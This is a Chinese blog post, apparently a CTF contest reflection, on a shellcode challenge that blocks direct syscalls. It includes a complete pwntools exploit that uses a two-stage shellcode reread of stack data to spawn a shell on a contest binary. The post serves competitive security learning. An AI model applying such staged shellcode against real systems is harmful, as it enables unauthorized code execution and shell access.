省赛小记

M1aoo0bin

O.o

遗憾下播,会做一道,但是比赛的时候脑子抽风了,索性队伍不差我这100分所以没有难过到自责的地步。

shellcode

受到之前做的题目影响有点大,,看到禁了syscall然后open,read过下意识以为侧信道相关

不过没开沙箱,实际上利用手段非常多,0xa也比上次侧信道的0x6要多很多字节,最后半个小时想过换方法不过可能最近状态不好,最后0解下播。

实际上是栈上脏数据reread,第二天重打还是挺快就通了的

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *

context(log_level = 'debug', arch = 'amd64', os = 'linux')

elf_path='./shellcode'

# p=remote("139.155.126.78",38696)
p= process(elf_path)

elf=ELF(elf_path)

shellcode = asm("""
pop rax
pop rdx
pop rsi
pop rsi
sub rax,0x41
call rax

""")
gdb.attach(p)
p.send(shellcode)
shellcode=asm('''
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
''') # 第二次分配内存会在之前的上面加上0xa,但是写入还是从上次开始写,所以随便填个0xa的内存就行了
shellcode+=asm(shellcraft.sh())
p.sendafter(b'input: ',shellcode)

p.interactive()

后面还有两道,apple这道是高版本libc,但是洞是明显的。比赛的时候可能不太容易做出来,,或许应该抽时间深入学学io_file

  • Title: 省赛小记
  • Author: M1aoo0bin
  • Created at : 2024-11-04 16:08:28
  • Updated at : 2024-11-04 16:23:49
  • Link: https://redefine.ohevan.com/2024/11/04/省赛小记/
  • License: This work is licensed under CC BY-NC-SA 4.0.
On this page
省赛小记